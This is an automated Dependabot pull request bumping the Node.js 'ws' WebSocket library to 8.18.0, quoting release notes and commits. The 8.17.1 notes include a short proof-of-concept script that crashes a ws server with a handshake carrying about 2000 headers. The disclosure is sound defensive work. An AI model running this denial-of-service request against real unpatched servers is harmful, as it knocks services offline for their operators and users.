Bump ws from 8.13.0 to 8.18.0

[dependabot[bot]]

Bumps ws from 8.13.0 to 8.18.0.

Release notes

Sourced from ws's releases.

8.18.0

Features

• Added support for Blob (#2229).

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits

• 976c53c [dist] 8.18.0
• 59b9629 [feature] Add support for Blob (#2229)
• 0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
• 15f11a0 [security] Add new DoS vulnerability to SECURITY.md
• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot merge` will merge this PR after your CI passes on it - `@dependabot squash and merge` will squash and merge this PR after your CI passes on it - `@dependabot cancel merge` will cancel a previously requested merge and block automerging - `@dependabot reopen` will reopen this PR if it is closed - `@dependabot close` will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually - `@dependabot show ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)